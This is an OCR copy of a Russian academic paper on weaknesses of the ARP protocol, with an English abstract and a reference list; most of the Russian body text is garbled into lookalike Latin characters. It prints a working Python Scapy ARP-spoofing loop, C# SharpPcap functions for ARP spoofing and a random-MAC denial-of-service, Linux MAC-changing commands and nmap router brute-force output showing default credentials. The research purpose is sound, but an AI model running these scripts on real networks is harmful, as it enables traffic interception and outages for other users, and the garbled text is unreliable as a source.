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Owmckuin Focyﬂ,apCTBeHHblﬁ TEXHUYECKNN YHUBEPCUTET

DcobennocTn paboTbl npoTOKONA paspewenna agpecos

B KOMNbIOTEPHLIX CETAX

PaccmompeH psad ocobeHHocmel cemesbix MPOMOKOSI08, C85I3aHHbIX C YS136UMOCMbIO 8 KOMIbIO-
MEPHbIX CEMSIX Ha MPo2paMMHOM yposHe. VccriedosaHbl ycriogus nposedeHuss amaku muna "4enosek
rnocepeduHe" 8 cemsix ¢ UCMOIb30B8aHUEM MPOMOoKosia paspeweHus adpecos (ARP- npomokona).
PaccmompeHb! npuMeps! peanusayuu amaku ¢ nodmeHol adpeca (ARP-spoofing) Ha si3bikax Python
u C# u amak muna "omka3 8 obcnyxuearHuu" (DoS-amaku) e cemsx. OnucaHbl pasHoguOHOCMU amak
"yeriosek nocepeduHe", makue kak nodmeHa IP-adpeca komrneromepy (DHCP), nepeHanpasneHue mapui-
pymuszamopa (ICMP). NpusedeHbi npumepbl 83510Ma Mapuwipymusamopa u noomeHsl MAC-adpecos.

Knroyeenie cnoea: komrnbromepHas cemeb, UHGhopMmayuoHHasa 6esonacHocms, ARP-ripomokorn, nepe-

xeam mpacdpuka, 83/10M

BBeaeHue

PazButue coBpeMeHHbIX WHOOKOMMYHUKAIIMOH-
HBIX TEXHOJIOTUI HEPa3pbIBHO CBSI3aHO C PELIEHUEM
3a7a4 B 00JlacTU MH(POPMALIMOHHOKW 0€30MacHOCTHU.
VnaneHHble aTakyu Ha MHGOPMALIMOHHbBIE PECYPCHI
yepes ceTu Tepenayn JaHHbIX HEeCyT B cebe yrpo3y Ha-
LIMOHAJIbHOW 0€30ITacHOCTU TocynapcTBa B MH(MoOpMa-
LIMOHHOM U IIPOU3BOACTBEHHOM cepax. s pelreHus
aKTyaJIbHOI 3aJa4M MOBbILLIEHUST HAIeXKHOCTU (DYHKIIU-
OHUPOBAaHU S MH(HOKOMMYHUKALIMOHHBIX M KOMITBIOTEP-
HBbIX CeTeil HEOOXONUMbI UCCIIEA0BAHMS CYILIECTBYIOLIMX
CETEBBIX MPOTOKOJIOB U Pa3paboTKa COCOOOB MOBbILLIE-
Hus 6€30I1aCHOCTU MU Tepenade MHGOPMALIMK 110 CETH.

B HacTos1ell cTaTbe NMpeAacTaBJeHbl pe3ybTaThl
WUCCIIeNOBAHU M, 11€J1b KOTOPbIX — BBISIBJIEHUE TTOTEH-
LIUAJILHBIX YSI3BUMOCTENM B KOMIBIOTEPHBIX CETIX Ha
NPpOrpaMMHOM YPOBHE JJI TMOBBILIEHUS KayecTBa
¥ 3¢ (HEKTUBHOCTU CPEACTB 3a1UThI U COBEPIIIEHCTBO-
BaHUS MPUHLMUIIOB U METOA0B MH(MOPMAIIUOHHOTO
oOMeHa ¢ MCMOoJIb30BaHUEM Web-TeXHOJOTUMU.

OQHUM M3 BUIOB YSI3BUMOCTEM KOMITBIOTEPHBIX
CETEW SBJISIETCI HECAHKIMOHUPOBAHHBIN HOCTYII
K JaHHBIM (CeTeBas aTaka), KOorja rmojy4yeHue HecaHK-
LIMOHVMPOBAHHBIX MpPaB B CUCTEME OCYIIECTBISECTCS
nyTeM obxoma JJOrMYeCKOW MOAEIM pa3rpaHUUYECHU S
pocrtymna [1, 2].

CaMblit paclipoCTpaHEHHBIM BUJ aTaK Ha KOMIbIO-
TepHbIE CETU — 3TO CETEBbIE aTaKu, HalpaBJE€HHbIE

Ha BHeApeHue B MHGOPMALIMOHHBIA OOMEH HaHHBI-
Mu. B nepBylo ouepenb ceTeBble aTaKU HaIllpaBJeHbI
Ha BHeJIpeHUEe B MPOTOKOJbI CETEBOro oOMeHa ¢ uc-
MOJIb30BAHUEM JIOTUYECKOTO JOCTyNa MJis MepexBa-
Ta JaHHBIX U IIepexBaTa ClIy>KeOHOoi MH(opMaLUu,
nepegaBaemMoi o cetu. MHpopmauus nocie nepe-
XBaTa MOAMMUUMPYETCS, UCXONHbIE JaHHbIE MOAME-
HSIOTCS JJOXKHBIMU, YTO TO3BOJISIET TIEPEHANPABISATD
naketsl [3]. Kak cieacTBre, HApylIMTEIb MOXET Ma-
HUITYJUPOBATh HE TOJBKO IMOJb30BATEIHLCKUMU JaH-
HbIMHM, HO U CJIyXeOHOW MHbopMallueii, nepeaana-
eMOli y3JlaMHU CeTH, K IIpruMepy, TaKOi KaK TaOaMUIIbI
MaplIpyTU3alluy MPOTOKOJIa pa3pelleHusl aapecoB
(ARP-Tabauis) [4].

BrisiBieHUE ySI3BUMOCTEN B CETSIX, B TOM YHUCJE
C UCIOJIb30BAaHUEM IIPOTOKOJIA pa3pellIeHUs aIpecoB
(ARP, Address Resolution Protocol) siBnsieTcst akTyaib-
HOWM 3a7ayeil 3alUThl KOMIIBIOTEPHBIX CETEN.

TexHONoOrusa BbiNONMIHEHUA CeTeBbIX aTakK

Araka ¢ nmogmeHoit agpeca — ARP-spoofing, uin
ARP-poisoning (TpaBiaeHUE), SIBIASETCS pa3HOBUJ-
HOCTBIO CETEBOM aTaku TUMa "dJeJIoBeK MocepeanHe"
(MITM, Man in the middle) v npuMeHsieTCsSI B CETIX
C MCIOJIb30BaHMEM IIPOTOKOJIA pa3pelleHUus aapecoB
(ARP-nipotokona) [4]. B ocHOBHOM ataka Takoro TuIa
npuMeHsieTcs: B ceTsix Ethernet. Ataka ¢ moaMmeHoi
aJipeca OCHOBaHa Ha HejocTaTKax mporokona ARP [4].
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ITpoTokon paspemeHus: aapecoB ARP ciayxut nast
conocTtaBieHus: IP-agpeca y3na u ero MAC-aapeca.

CyllecTBYIOT Cleaylollive ABa BUJa COOOLIEHUM
B JAHHOM ITPOTOKOJIE:

o ARP-request (3anmpoc) — oAMH y3es ceTU 3a-
MpaluBaeT aapec y Ipyroro ysjia CeTH;

e ARP-reply (oTBET) — OOMH y3eJ CeTU OTIpaB-
JsieT cBoit pusnueckuit agpec (MAC) apyromy ysny
cetu [5].

B pamkax ARP-nipoTokojia MOXKHO KEeIIKpOBaTh OT-
BETHI, HAIIPUMep, B ONePAlIMIOHHBIX CUCTEMAaX CeMelcTBa
Windows OTBET N0 YMOJYaHUIO KEUIUPYETCST 2 MUH.

Mo BeinonHenus1 ARP-spoofing’a B ARP-tabaute
y310B A u B cymecTtByioT 3anucu ¢ IP- u MAC-
agpecaMu Apyr apyra [6]. ObmeH nmHbopMalnein
MPOBOAMUTCS] HEMOCPEICTBEHHO MeXy y3i1aMu A u B
(puc. 1, a).

TTocne BeimonmHenus ataku ARP-spoofing’a B mep-
BoM Tipumepe (puc. 1, 6) yszen C (310yMbIIIJTEHHUK),
BBIIOJHSIOUIUI aTaKy, oTiipaBisieT ARP-reply (orBeT
0e3 MoyYeHUs 3aIIPOCOB):

y3ny B ¢ IP-agpecom y3ma A u MAC-angpecom
y3na C.

B cuny toro, 4to mporpaMMbl KOMIIBIOTEPOB
MOAAePKUBAIOT CaMOIIPOU3BOJILHBIN MpoToKoa ARP
(gratuitous ARP) [5], nociie aTakyi OHU MOAUDULIUPY-
10T coocTBeHHble ARP-TaGnMuIIbl 1 MoMelaoT Tyaa
3aIumcu, rae BMecTo HacTtosuero MAC-anpeca KoM-
nbloTepa A (JIEeTUTUMHBIH TT0JIb30BaTeNb) cTOUT MAC-
anpec koMnbloTepa C (3I0YMBILIJIEHHUK, CTPEJIKa OT
C k B). Ilocie Toro kak araka BHIIIOJIHEHA, BCE ITaKe-

THI, UOYIIWE OT y371a B (JIerUTUMHEIN TTOJIb30BaTEb)
K y31y A, OyayT NpoxoauTh yepes y3es C (30yMblIll-
neHHuK). Tak kak nmogaenbHbie ARP-mmakeThl y3imy A
HE OTIPaBJISINCH, TO TpahHK, UCXOOIIINN OT y3ia
A KX y31y B, OyaeT npoxonauTh HaNpsIMyIo.

Tak:ke aTaka MOXKET BBIIIOJIHUTHCS B 00€ CTOPOHBI
(puc. 1, 6), 3nech (ctpeaku oT C Kk B 1 ot C x A):

e y3en C ornpasiget y3iay B 3anpoc ¢ IP-agpecom
y3n1a A u MAC-aapecom y3na C;

o y3en C ormpapiseT y3iay A 3amnpoc ¢ IP-agpecom
y3na B u MAC-anpecowm y3na C.

Ilocne Toro Kkak araka BbIIOJHEHA, U KOTAa KOM-
MbloTEp A XO4YeT mepenaTh NakeT KoMmbloTepy B, oH
HaxonuT B ARP-taGaulie 3anuch (OHa COOTBETCTBYET
komnblotepy C) u onpenensier u3 Hee MAC-aapec
nojyyarensd. OTnpaBiaeHHbIN o aTomy MAC-anpecy
MMaKeT MPUXOAUT KOMITbIoTepy C BMECTO TOTydaTest
B. Kommistotep C 3aTeM peTpaHCIMPYeT ITakKeT TOMY,
KOMY OH JIeAICTBUTEJbHO alpeCcoOBaH, T. €. KOMIIbIOTEPY
B. To xe camoe OyaeT IIPOUCXOAUTH U MpU Iepeaade
MMakeToB OT y31a B y3ay A.

C ucnonns3zoBanueM ARP-nmpoTokoina cymiecTBy-
€T BO3MOXHOCTbh MPOBOAMTh aTaKM THUMA "OTKa3
B obcrnyxkxmBanuu" (DoS-arakm) B paMKax OIHO-
paHTOBOI ceTH. s 3TOTo HYXXHO OTIIPAaBUTH Y31y
ARP-naket, koTtophlii comepxut IP-agpec miio3a
n HecyuecTBylomuit MAC-anpec [6]. [Tocie aToro
MMaKeThI, OTIIPaBIIsIeMbIe Ha IILTI03, HE CMOTYT TOUTH
nmo aapecara. Ha puc. 2 nmpuBenen npumep ARP-
spoofing’a (TpaBieHus1), rae BbiaeleH parMeHT 3a-
NUCcU C MOAMEHOM agpeca.

(A]— [E]°

MAC=C

g,

[A]  [B]°

ARP ARP
IP=B C IP=A
MAC=C MAC=C

Puc. 1. Oomen undopmanneii:

a — cxeMma mepenadM JaHHBIX Mexnay y3iamu 10 ARP-spoofing’a; 6 — cxema npoBenenust ARP-spoofing’a "B ogHy
cTopoHy"; 6 — cxema nposeaeHusi ARP-spoofing’a "B 06e cTopoHbI"
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ANHAMWYESCKUH
AVHAMWYECKWH
AWHAMWYECKMA
ONHAMWYECKWH
ANHAMWYEC KU
NMHAMWY eCKUA
OVHAMWYECKWH
AWHAMWYECKWA

CTAaTU4YeCKMH
CTATUWUECKN
CTARTUYESCKWUHA
CTATUYECKNI
CTATUYECKWA
CTATUYECKWI

1?2.31.3.253

224.0.0.22 01-00-5e~-00-00~-16
224.0.0.251 01-00-5e-00-00-Thb
224.0.0.252 01-00-5e-00-00-fc
239.255.255.250 01-00-5e-7f-ff-fa
255.255.255.255 t--ff--F-f

0x13

dM3INYeCKHd aapec
ff-ff-ff-ff-ff-ff
01-00-5e-00-00-16
01-00-5e=-00-00-Fb
01-00-5e-00-00-fcC
01-00-5e-7f-ff-fa
ff-ff-ff-ff-ff-ff

WHTepdeic: 192.168.56.1 ---

Tun
CTATUYECKIIA
CTATUYECKWN
CTATUMECKIA
CTARTUYECKWH
CTATUYECKNH
CTATUYECKWA

aanpec B MHTEepHeTe
192.168.56. 255
224.0.0.22
224.0.0.251
224.0.0.252
239.255.255.250
255.255.255.255

Puc. 2. IIpumep "orpaBienHoii” ARP-Ta0amnmbi

MHcTpyMeHTanbHbIEe cpeacTBa
ansa BbinonHeHusa ARP-spoofing’a

#! /usr/bin/env python
import sys

import time

B HacTod11ee BpeMs CYILIECTBYIOT MH- from scapy.all import *
CTPYMEHTaJIbHbIE CPEACTBA AJS BHIIOJHE-
Husg ARP-spoofing’a, pabGoraloiiue B orepa-
IIMOHHBIX CUCTeMaxX Kak cemelicTBa Linux,

tak u ceMelictB Windows u Android. Han-

if len{sys.argv) < 3:
print "Error - fill in all required parameters"
sys.exit (1)

6osee u3BecTHbIe: Ettercap; Cain & Abel; pr?“: SYS*arg"Eﬂ : "iirgit ip zgdress" i
. b . prin Sys.argv "The host address we are change"
Dsniff; Arp-sk; Drou:}Sheep. ethernetadapter = "eth0"
Js mporpaMMHOI# peajnu3aliy Ha sI3bl- target ip = sys.argv[1]
ke Python ornipaBKU, OTCICKMBAHUS U aHAa- ipInArpTableForChange = sys.argv[2]
JIN3a CETEeBBIX MMaKEeTOB JAHHBIX MCIOIb30- ethernet = Ether()

arp = ARP{pdst=target ip,

psrc=ipInArpTableForChange,

op="is-at")

packet = ethernet / arp

arp.display()

while True:
print "ARP-Spoofing " + sys.argv[l]
sendp (packet, iface=ethernetAdapter)
time.sleep (1)

Bajicsl Habop OMOIMOTEK Scapy, KOTOPHIi
MO3BOJIsIET TOHKO HacTpauBaThb OTIIpaBJIsi-
eMble nmakeThl [7—9]. Ha puc. 3 npencras-
JieHa peanu3auus ataku ARP-spoofing’a Ha
sa3bike Python.

ITporpamma njist oCylIeCTBICHUST aTaKU
tuna APR-spoofing Ha si3bike C# HamucaHa
¢ noMoliibio 6udaunoreku SharpPcap [10, 11].
®parMeHT TPOrpaMMHOTO KOfIa, peann3yro-
LIET0 aTaKy ¢ MCIOJb30BaHWEM 3TOW OMO-

Puc. 3. IIpamep ckpunta nys ocymectsienns ARP-spoofing’a
JIMOTEKHU, TIpelcTaBjieH Ha puc. 4.

Ha a3bike Python
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Bo3MoxHBI aTaku Tuna "0TKa3 B 00CAyXHUBaHUU"
(DoS-ataku) B paMKax JIOKaJbHOM CETH, KOTOPhIE TaKXke
OCYILLECTBIISIIOTCS C UCHOJIb30BaHUEM YsSI3BUMOCTU ARP-
nporokomna [12, 13]. Ha puc. 5 npuseneH npuMep peaju-
3aiuu DoS-araku B JIOKaJIbHOM CETH C UCMOJIb30BAHUEM
ARP-niporokosia. CoracHO 3TOMY KOy 37I0yMBIIILICHHUK
yCTaHaBJIMBAeT Ha aTakyeMoM Komrblotepe MAC-anapec
1LLLJTI03a CO CyYyaiiHO CreHepMpOBaHHBIM 3HaYeHueM. [1o-
CJIe 9TOro Ha CKOMITPOMETHMPOBAHHOM Y3Jie IIepecTaeT pa-
06otath HTEpHET U JIOKaJIbHAS CETh, TAK KaK OTIIpaBIIsie-
Mbl€ UM MaKeThl HE MOTYT JOWTHU JO MOJyYaTessl.

Ha npumepe, npuBeaeHHOM HUXe, IMOKa3aHO, YTO
npotokoa ARP sgBisieTcsl yI3BUMBIM, IIOCKOJIBKY OH
He TOoJJepXUBaeT MPOBEPKY NoaJiMHHOCTU ARP-
3anpocoB 1 ARP-otBeToB. Tak Kak ceTeBble UHTEPDEit-
Chl Ha KOMMBIOTEepaX MOAACPKMBAIOT CAMOIIPOU3BOJIb-
Hblii ARP (ARP-oTBeT npuckLiaeTcs Ha uHTepdeic

yCcTpoiicTBa 6€3 HEOOXOAMMOCTH), TO UMEHHO B 3TOM
cllyuae Bo3MoxHa ataka Tuna ARP-spoofing [14, 15].

IIpuBenem npumep ARP-tabauibl aTakyeMoro
KOMIIBIOTEpa 0 TIPOBEIEeHUS aTaku (puc. 6).

Ilocne npoBeneHUs aTaku UAET OTIIPAaBKa MakeTa, Ko-
TOPBII BUEH C UCTIOJIb30BaHUEM cHUdepa — mporpam-
Mbl, aHAJTM3UPYIOLLIEeH BXOASIIMIA U UCXOASIIMHI Tpaduk
¢ KOMITbIOTEpa, MOAKII04eHHOro K MurtepHer [16].

Ha puc. 7 npeacrtaBieH npumep ARP-Tabauiib
aTaKkyeMoro KOMITbIOTepa MOoCe MPOBEACHMUS aTaKM!.

Kak BugHO Ha puc. 7, mocjie NpoBeAeHUs] aTakKu
aapec 11103a OblJT M3MEHEH Ha aapec aTaKylolero
(3nmoyMBlIIJIeHHUKA). B 3TOM ciyvyae Bech Tpaduk,
UCXOISIIIUN OT CKOMIIPOMETUPOBAHHOIO y3Ja, OyaeT
MMPOXOAUTh Yepe3 KOMMBIOTEP 3JIOYMbIIIJIEHHUKA, YTO
BUIHO Ha puC. 8, T MPU TPACCUPOBKE 10 KOHEYHOTO
y3ja nobasisercs elle oauH y3ea [17].

public static void SendArp{LibPcaplLiveDevice device, List<IPAddress>
listIpAddresses, IPAddress locallp, PhysicalAddress localMac)

{
ARP arp = new ARP(device);
while (true)

{
{

X

foreach (var ipAddress in listIpAddresses)

var response physicaladdress = arp.Resolve( destie: ipAddress, locallp, localMac);
Console.WriteLine(response != null

? $"Change in {ipAddress} ARP Row {locallp} - {localMac}"

: $"Host {ipAddress} Not Found");

Puc. 4. Ilpumep dpyunkuuu s ocymectsiaenns araku ARP-spoofing’a na aspike C#

public static void DostLibPEapLiveDevice device, List<IPAddress>

i listIpAddresses, IPAddress locallp)

t

var mac :ehysicaladdresz = PhysicalAddress.Parse(string.Format($"" +
$"{HexRandomGen() }{HexRandomGen()}-" +

$"{HexRandomGen( ) }{HexRandomGen()}-"
$"{HexRandomGen() }{HexRandomGen()}-"
$"{HexRandomGen() }{HexRandomGen() }-"
$"{HexRandomGen( ) }{HexRandomGen()}-"

+ 4+ + +

$"{HexRandomGen() }{HexRandomGen()}"));
SendArp(device, listIpAddresses, locallp, mac);

public static string HexRandomGen() => random.Next(-

2:16) . ToString( foemat: "X");

Puc. 5. Peann3zanusa dbynknum anas ocymectBiaennss DoS-araku B JIOKaJdbHOH ceTH
¢ ucnoab3opanneM APR-npoTokoja Ha s3pike C#

:\Documents and Settings‘user>arp -a

HTepoelc: 192.168.1.131 ——— Bx2
Pusuueckud appec Tun

d8-50-e6-cB@-25-72
D0-25-90-75-f6—-d4
bc-ae—c5-98-f6-he
bc-ae-c5-98-f6-cb

192.168.1.103
192.168.1.223

Puc. 6. APR-Ta6auna 10 araku

AHHAMUYECKHH
AMHAMUYECKHH
AMHAMHYECKHH
AMHAMUYECKHH
AHHAMUYECKUM
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C:\Documents and Settings\userarp -a

Hutepoesic: 192.168.1.131 ——— 0x2
Anpec PusuueckKku anpec Tun
192.168.1.11 d8-50-eb6-c0D-25-72 AHHAMHYECKHH
192.168.1.70 00-25-20-7?5-f6—-d4 AHHAMHYECKHH
192.168.1.100 bc-ae-c5-98-f6-he AHHAMHUYECKUH
192.168.1.103 bhe—ae—c5-98-f6—-cb AUHAMUYECKUM
J ] 0

AHHAMHYECKHH

Puc. 7. APR-Tadauna mocjie aTaku

Tpaccupoexa mapuopyra K google-public-dns—-a.google.con [B8.8.8.B1]
C MAKCHMAABHHM YHCAOM NPHXKODB 30:

1 ms m ; 10. - -
1 ms nx480.onkc.»u [217.25.208.1931
1 ms rtli.onkc.ru [217.25.208.1571]

1 ns onkDZ.transtelecon.net [188.43.2.661

- ﬂpcnuueu HHTEpBAA OXHAAHHMA ANA 3anpoca.
?2.14.219.1727

216.239.47.149

45 ms
33 ms

33 ms
34 ns

10 34 ns 40 ms

TpaccupoBxka sasepueHa.

Puc. 8. [Ipnmep padoThl yTHIMTHI TPACCHPOBKH (tracert)

Opyrve Buabl atak Tuna "4yenoBek
nocepepnuHe" (Man in the Middle)

ITomuMo ARP-spoofing’a cyuiecTByoT apyrue
CHOCOOBI OCYILIECTBJICHUS aTaK THUIA "4eJIoOBEK IO-
cepenuHe":

1. DHCP-spoofing. C momoiibio mporokoja DHCP
(Dynamic Host Configuration Protocol) ocylecTBiseTcs
IMHaMHU4YecKoe HaszHaueHue [P-ampeca m npyrux ma-
paMeTpOB KOMIBIOTEPY-KJINEHTY, KOTOPBIT BpeMeH-
HO moAkawvaeTcs K ceTd [18]. JIJs1 3TOro KOMITbIO-
Tep-KJIUEHT MOCHIJIaeT B CETh IIMPOKOBEIIATeIbHOE
DHCP-coob6menune. ITocae atoro DHCP-cepsep,
MOJIYYMB TaKoe CoOo0IleHUe, BbIAEASIeT KOMIbIOTEPY
BpeMeHHbII [P-agpec 13 myna agpecoB, onpeaeiseT
CPOK €ro apeHJIbl, BBIIAET aapeca 1nuro3a (y3e, Je-
pe3 KOTOPbIi MPOUCXOAUT BbIXOJ B ceTb MHTepHET)
n DNS. OgHako, Tak Kak 3alpoc Ha MoJy4YeHue Ha-
CTPOEK ITPOUCXOMUT IITUPOKOBEIIATEIBHO, 3TOYMBIIII-
JeHHUuK MoxeT "nputBoputhcss” DHCP-cepBepoMm
U BbIAATh HACTPOUKM C MOAAEIbHBIMU aapecamMu
urao3a u DNS [19].

2. ICMP redirect. B cetu MHTEpHET CcylIeCTBY-
eT cneuualbHblil ipoTokoa ICMP (Internet Control
Message Protocol) — TpOTOKOJ MEXCETEBBIX YIpaB-

google=~public-dns-a.google.con (8.8.8.8]

JISIOIIMX COOOIIEHU, OMHOM U3 (PYHKIIMI KOTOPOIro
SIBJISIETCSI UHOOPMUPOBAHUE XOCTOB O CMEHE TEeKY-
mero Mapupytusaropa [20]. JlaHHoe ynpaBiasioliee
Ccoo0llleHe HOCUT Ha3BaHUe redirect (IIepeHaIipaBiie-
Hue). CylecTBYeT BO3MOXHOCTb MOCBHUIKU 3/I0YMBbI11I-
JICHHUKOM C JIIOOOr0 XOCTa B CETMEHTE CeTU JIOXKHOTO
redirect-coOOllIEHUST OT UMEHU MapllpyTu3aTopa Ha
aTakyeMbIii XOCT. B pe3dynprare y xocTta M3MeHsEeTCS
TeKyluas Tabauna Mapiipytusauuu. Kak cienctsue,
B IajibHEMIIeM BeCh CETeBO TpaduK JAHHOTO XOcTa
OyZeT MpPOXOAMTh, HAIIPUMED, Yepe3 XOCT, OTOCTIaB-
LU JIOXHOE redirect-cooOllieHUE.

TakuM 006pa3oM HapyIIUTETb MOXET OCYIIIECTBUTh
aKTHMBHOE HaBSI3bIBAHUE JIOXKHOI'O MapllpyTa BHYTPU
omHOro cermeHTa ceTu MHTEpHET.

3. MAC-spoofing. Eiie omHol cepbe3HOM TEXHUYC-
CKoIi yn1oBKoM sBasieTcsd nogMeHa MAC-aapeca [21].
C moMolIlbio €€ MeXaHU3MOB TTaKeThl, IMpeaHa3Ha-
YeHHbIe JJISI aTaKyeMoro KoMmIibloTepa, OyayT Mpu-
HUMAaThCS W Ha KOMIMbloTepe ¢ u3MeHeHHbIM MAC-
anpecom (puc. 9).

4. BzjioMm MaplipyTusaTopa. B kauecTBe oTaesIbHO-
ro crnoco6a HapylIeHU s JIOTMUeCKOro pasrpaHu4YeHu st
JNIOCTYyIla MOXXHO BBIIEJIUTh B3JIOM poyTepa U Iepe-
KoHurypupoBaHue nporokoiaa DHCP tak, 4ToObI
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# ifconfig eth@ down

# ifconfig ethe up

# ifconfig etho hw ether 00:80:48:BA:d1:30

Puc. 9. IIpnmep n3menenuss MAC-agpeca Linux

File Edit View Search Terminal Help
PORT STATE SERVICE
80ftcp open http
| http-brute:
| Accounts
No valid accounts found

Performed 43846 guesses in 600 seconds, average tps: 73

I
| Statistics
I

Mmap done: 1 IP address (1 host up) scanned in 599.95 seconds
druid@druid-X55VD:~5 nmap --script http-brute -p 80 192.168.1.1

Starting Nmap 6.47 ( http:f/nmap.org ) at 2016-03-01 19:42 OMST

Nmap scan report for 192.168.1.1

Host is up (0.0011s latency).

PORT STATE SERVICE

80/tcp open http

| http-brute:

| Accounts

| admin:admin - Valid credentials
| Statistics
|-

Performed 45010 guesses in 483 seconds, average tps: 97

Nmap done: 1 IP address (1 host up) scanned in 495.78 seconds

druid@druid-xssvp:~5 i

Puc. 10. IIpumep B3;10Ma poyTepa

anpecoM uuito3a 1 DNS- cepBepa Obl1 yKazaH KOM-
neloTep atakymiuero [18]. Ha MHOrux poyrepax or-
kpboiThl FTP, SSL, Telnet, HTTP-niopThl, u oib30-
BaTeJIM OCTABJISIIOT HACTPOMKH T10 YMOJUAHUIO, UTO
SIBJISIETCS Cepbe3HOM ysI3BUMOCTRIO [22]. Ha puc. 10
MnpeacTaBjeH MPUMEpP pe3ybTaTa HECAHKLIMOHUPO-
BaHHOI'0 CKaHMPOBAaHUS MOPTOB MaplLIPyTHU3aTOpA.

3akntouyeHue

Ha ocHoBe aHanu3a ceTeBbIX TPOTOKOJIOB Ha Mpe-
MeT UX MOTeHIIMAJIbHBIX YSI3BUMOCTE Ha IporpaM-
MHOM YPOBHE BbISIBJIEHbI CETEBbIE aTaKu, HallpaBJeH-

HbIe Ha HECAHKIIMOHNPOBAHHOE BHEIPEHHE 3JIOYMBIIII-
JICHHUKOB B MH(GOPMALIMOHHBIM OOMEH JaHHBIMMU.
HccrnenoBaH Takoi BUI BTOPXKEHUSI, KaK KaK IMoaMeHa
IMPOTOKOJIa pa3peleHus agpecoB (ARP-spoofing), ero
MporpaMMHasi peajausalus ¢ TOMOIIbIO UCHOJIb30Ba-
Husg oubinuotek Scapy (Python) u SharpPcap (C#).
Ha npumepax mokazaHo, 4YTO MOJOOHBIE aTakKu OT-
HOCSTCS K AOBOJIbHO OMACHOMY THUIY, TMOCKOJbKY
OCHOBaHbI Ha HeAOCTaTKaX MPOTOKOJIa pa3pelleHUs
agpecoB ARP. IlpuBeneH nogpoOHbIN aHAINW3 3TAMOB
MMPOBEAEHMU S aTaKu, MOCIEI0BATEIbHOCTh BO3IEH-
CTBUS Ha aTakyeMblil y3eia. [IpuBeaeHbl onmucaHue
1 MMPUMEPbl CKPUTITOB, peaan3yIolMX OTIIPaBKY MO/~
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nenbHoro ARP-nmakera, pyHKIIMM AJIg OCYILIECTBIIE -
Husi DoS-ataku, usmenenuss MAC-anpeca Linux,
B3JI0Ma poyTepa. B CBSI3M ¢ U3JT0XEHHBIM BHIIIE
MOXHO CIeJaTh BBIBOJ, UTO YIpO3bI, CBI3aHHLIE
¢ mepexBaToM Tpaduka, sIBIASIIOTCS Cepbe3HOM Mpo-
071eMOi1 3alIUTHl JAHHBIX OT HECAHKLIMOHUPOBAH-
HOT'O JOCTYyIIa.
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The paper analyzes the network protocols of computer networks to identify potential vulnerabilities at the software
level. The conditions for carrying out a man-in-the-middle attack in networks using the Address Resolution Protocol
(ARP) are investigated. Such attacks are of a rather dangerous type, since they are based on the shortcomings of
the ARP protocol. A detailed analysis of the stages of the attack and the sequence of impact on the attacked node
is given. The technology of ARP spoofing (poisoning) and methods that allow one to infiltrate an existing connection
and communication process are examined in detail. An implementation of an ARP spoofing attack in the Python and
C# programming languages using the Scapy and SharpPcap libraries is presented. Examples of implementation of
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denial-of-service (DoS) attacks in a peer-to-peer network using the ARP protocol in C# are given. The article also
describes examples of man-in-the-middle attacks associated with various protocols and infiltration into the address
space of routers, such as DHCP (a protocol that dynamically assigns an IP address to a client computer) spoofing
and ICMP (Internet Control Message Protocol) redirection. Methods for hacking a router and substituting a MAC
address and examples of scripts that implement: sending a fake ARP packet; a function for performing a DoS

attack; changing the Linux MAC address; router hacks, are presented in the article.
Keywords: computer network, information security, ARP protocol, traffic interception, hacking

For citation:

Stepanov P. P., Nikonova G. V., Pavlyuchenko T. S., Soloviev V. V. Features of Address Resolution Protocol
Operation in Computer Networks, Programmnaya Ingeneria, 2022, vol. 13, no. 5, pp. 211—-218.

DOI: 10.17587/prin.13.211-218

References

1. Helebi C., Mark-Pherson D. Principles of routing to the Inter-
net: per. from English, Moscow, Williams, 2001, 340 p. (in Russian).

2. Olifer N., Olifer V. Computer Networks: Principles, Technolo-
gies and Protocols for Network Design, Chichester, England; Hobo-
ken, NJ: John Wiley & Sons, 2006, 973 p.

3. Shakhnovich 1. V. Modern wireless technologies, Moscow,
Technosphere, 2006, 288 p. (in Russian).

4. Jinhua G., Kejian X. ARP spoofing detection algorithm
using ICMP protocol, IEEE International Conference on Computer
Communication and Informatics ICCCI’13, 2013, pp. 1—6.

5. Tanenbaum A. S., Austin T. Structured computer organization 6th
ed.,Pearson Education, Inc., publishing as Prentice Hall, 2015, 801 p.

6. Stepanov P. P., Nikonova G. V., Pavlychenko T. S., Gil A. S.
The problem of security address resolution protocol, Journal of Phys-
ics: Conference Series, 2021,vol. 1791, pp. 1—8. DOI: 10.1088/1742-
6596/1791/1/012061.

7. Ballmann B. Understanding Network Hacks: Attack and De-
fense with Python. Springer, 2015, 187 p.

8 Biondi P. Scapy Documentation. Release 2.4.5, available at:
https://buildmedia.readthedocs.org/media/pdf/scapy/latest/scapy.pdf

9. Module Scapy Python, available at: https://russianblogs.com/
article/2831870755/

10. SharpPcap, available at: https://sourceforge.net/projects/
sharppcap/

11. Richter J. CLR via C #. Programming with Microsoft. NET Frame-
work 4.5 in C #, Moscow, Piter—Moskva, 2013, 896 p. (in Russian).

12. Freeman A. ASP.NET MVC 5 with examples in C # 5.0 for
professionals, Moscow, Williams, 2015, 736 p. (in Russian).

13. Seifert R., Edwards J. The All-New Switch Book: The com-
plete guide to LAN switching technology. Wiley. 2008, 816 p.

14. Hou X., Jiang Z., Tian X. The Detection and Prevention for ARP
Spoofing based on SNORT, Proc. of IEEE International Conference on Com-
puter Application and System Modeling ICCASM’10, 2010, vol. 5, pp. 125—137.

15. Bruschi D., Ornaghi A., Rosti E. S-ARP: A Secure Address
Resolution Protocol, Proc. of Nineteenth Annual IEEE Computer
Security Applications Conference ICSAC’03, 2003, pp. 66—74.

16. Bonaventure O. Computer Networking: Principles, Protocols
and Practice. Release 0.25, 2014, 280 p.

17. Fellinge J. IT Administrator’s Top 10 Introductory Scripts for
Windows, Charles River Media; Ist Edition, 2004, 424 p.

18. Turner H., White J., Camelio J., Williams C., Amos B.,
Parker R. Bad Parts: Are Our Manufacturing Systems at Risk of
Silent Cyberattacks? /EEE Security & Privacy IEEE Computer So-
ciety, 2015, pp. 40—47. DOI: 10.1109/MSP.2015.60.

19. CNP Studies: Configuring DHCP Snooping, available at:
https://packetpushers.net/ccnp-studies-configuring-dhcp-snooping/

20. Jen-Hao Kuo, Siong-Ui Te, Pang-Ting Liao et al. An evalu-
ation of the virtual router = redundancy protocol extension with
load balancing, Proc. of 11th Pacific Rim International Symposium on
Dependable Computing (PRDC’05), Hunan, China, Added to IEEE
Xplore: 20 March 2006, pp. 1—7. DOI: 10.1109/PRDC.2005.16.

21. Shaw S., Choudhury P. A new local area network attack
through IP and MAC address spoofing, 2015 IEEE International
Conference on Advances in Computer Engineering and Applica-
tions. Ghaziabad, India, 2015, pp. 347—350. DOI: 10.1109/1CA-
